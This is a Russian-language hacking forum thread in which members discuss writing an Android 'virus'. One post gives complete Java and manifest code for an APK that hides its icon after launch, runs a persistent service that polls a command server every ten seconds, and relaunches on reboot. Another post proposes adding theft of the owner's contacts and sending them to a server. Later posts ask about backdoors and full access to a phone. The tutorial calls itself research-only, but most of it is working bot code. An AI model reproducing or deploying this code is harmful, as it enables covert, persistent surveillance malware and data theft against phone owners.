Актуально Напишем вирус для андроид

Тема в разделе "Фрикинг", создана пользователем zakhar_2202, 27 авг 2017.

  1. zakhar_2202

    zakhar_2202

    Сообщения:
    13
    Баллы:
    1
    Что по итогу этот вирус может после запуска?
  2. CYBER GHETTO

    CYBER GHETTO

    Сообщения:
    653
    Баллы:
    18
    Вот мне тоже этот вопрос интересен
  3. _Ленин_

    _Ленин_

    Сообщения:
    596
    Баллы:
    16
    Суть такая же, как в моей статье про Android bot. Суть. Ключевое слово суть. Только суть.
    ТС, только тут один APK почему то, где админка? Куда он стучать то будет?
  4. _Ленин_

    _Ленин_

    Сообщения:
    596
    Баллы:
    16
    А нет, не как у меня. Ошибся.
  5. Cecer

    Cecer

    Сообщения:
    171
    Баллы:
    16
    Ждём объяснение сути..
  6. Cecer

    Cecer

    Сообщения:
    171
    Баллы:
    16
    Или просто отредактируй и вставь в тему.
  7. siltt

    siltt

    Сообщения:
    10
    Баллы:
    1
    Нужно написать приложение не вирус, таким занимаетесь ?
  8. zloj08

    zloj08

    Сообщения:
    33
    Баллы:
    6
    говори что нужно
    сделаю
  9. zloj08

    zloj08

    Сообщения:
    33
    Баллы:
    6
    суть здесь в том, что запускается сервис в котором можно осуществлять запросы на отправку данных на сервак
    тем самым можно дописать еще пару классов и тем самым брать всю тел книгу хозяина (номера + имена + мыло и пр) и передавать на сервак

    PS^ кстати, в качестве админки мона юзать фаэрбазе, туду сливать всю базу , а там уже распоряжаться как хош
  10. A'LonE

    A'LonE

    Сообщения:
    44
    Баллы:
    6
    Привет riddley, Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит
    https://cryptoworld.su/wp-content/uploads/2016/02/android-malware-1024x565.jpg
    Как стать “хакером” андроида.
    Да тут особо ничего мудрить не надо. Просто идем по шагам.
    1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html)
    2. Скачиваем android studio (http://developer.android.com/sdk/index.html#Other) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?
    3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.
    4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову
    5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.
    6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.
    7. Ну вот собственно и все.

    Как все начиналось?
    Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать. А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже.
    Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

    Пока файлы нового проекта индексируются и настраивается сборщик проекта.

    Эй, ты слишком жырный!
    Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java
    Заменяем
    public class MainActivity extends AppCompatActivity

    на
    public class MainActivity extends Activity

    удаляем
    import android.support.v7.app.AppCompatActivity;

    Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
    Заходим в androidManifest.xml и
    меняем
    android:theme="@style/AppTheme"

    на
    android:theme="@android:style/Theme.Translucent.NoTitleBar"

    Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.

    Почему ты не прячешься?
    Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
    Вставляем после setContentView(R.layout.activity_main) Следующий код:
    String pgkname = getApplicationContext().getPackageName();
    ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity");
    getApplicationContext().getPackageManager().setComponentEnabledSetting(
    componentToDisable,
    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
    PackageManager.DONT_KILL_APP);

    Этот код скроет нашу иконку с глаз И после всего этого пишем:
    finish();

    Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.
    Тук, тук, открывайте, полиция!
    Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на
    import android.app.Service;
    import android.content.Intent;
    import android.os.IBinder;

    import org.apache.http.HttpResponse;
    import org.apache.http.client.HttpClient;
    import org.apache.http.client.methods.HttpGet;
    import org.apache.http.client.methods.HttpPost;
    import org.apache.http.entity.StringEntity;
    import org.apache.http.impl.client.DefaultHttpClient;

    import java.io.InputStream;
    import java.util.Timer;
    import java.util.TimerTask;

    public class Network extends Service{

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    return Service.START_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException("");
    }

    @Override
    public void onCreate()
    {
    MyTimerTask myTask = new MyTimerTask();
    Timer myTimer = new Timer();
    myTimer.schedule(myTask, 10000, 10000);
    }

    class MyTimerTask extends TimerTask {
    public void run() {
    String result = "";
    result = GET("http://site.ru/?q=");
    // Обработка result

    }
    }

    public String GET(String url){
    InputStream inputStream = null;
    String result = "";
    try {
    HttpClient httpclient = new DefaultHttpClient();
    HttpResponse httpResponse = httpclient.execute(new HttpGet(url));
    inputStream = httpResponse.getEntity().getContent();
    if(inputStream != null)
    result = convertInputStreamToString(inputStream);
    else
    result = "";
    } catch (Exception e) {
    }
    return result;
    }
    }

    Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.

    Добавляем

    <uses-permission android:name="android.permission.INTERNET" />

    и в описание application
    <service android:name=".Network" />

    Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса
    getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));


    Финишная линия
    Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
    Добавляем права на запуск после ребута:
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    Добавляем обязательно обработчик в описание application
    <receiver
    android:name=".Boot"
    android:enabled="true" >
    <intent-filter>
    <action android:name="android.intent.action.BOOT_COMPLETED" />
    <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
    </receiver>


    Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;

    public class Boot extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
    context.startService(new Intent(context, Network.class));
    }
    }


    Конец, и пару слов.
    Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает.
  11. UnknownBrain

    UnknownBrain

    Сообщения:
    33
    Баллы:
    6
    Это я где-то уже видел
  12. Sallivan

    Sallivan

    Сообщения:
    1
    Баллы:
    1
    Шарит кто в Бэкдорах?
  13. imperial70

    imperial70

    Сообщения:
    27
    Баллы:
    1
    нечегоне понял... кто конкретно может помоччь с андроид.. чтоб был полный доступ...к нему...опер. мегафон тел микромакс

Поделиться этой страницей

Top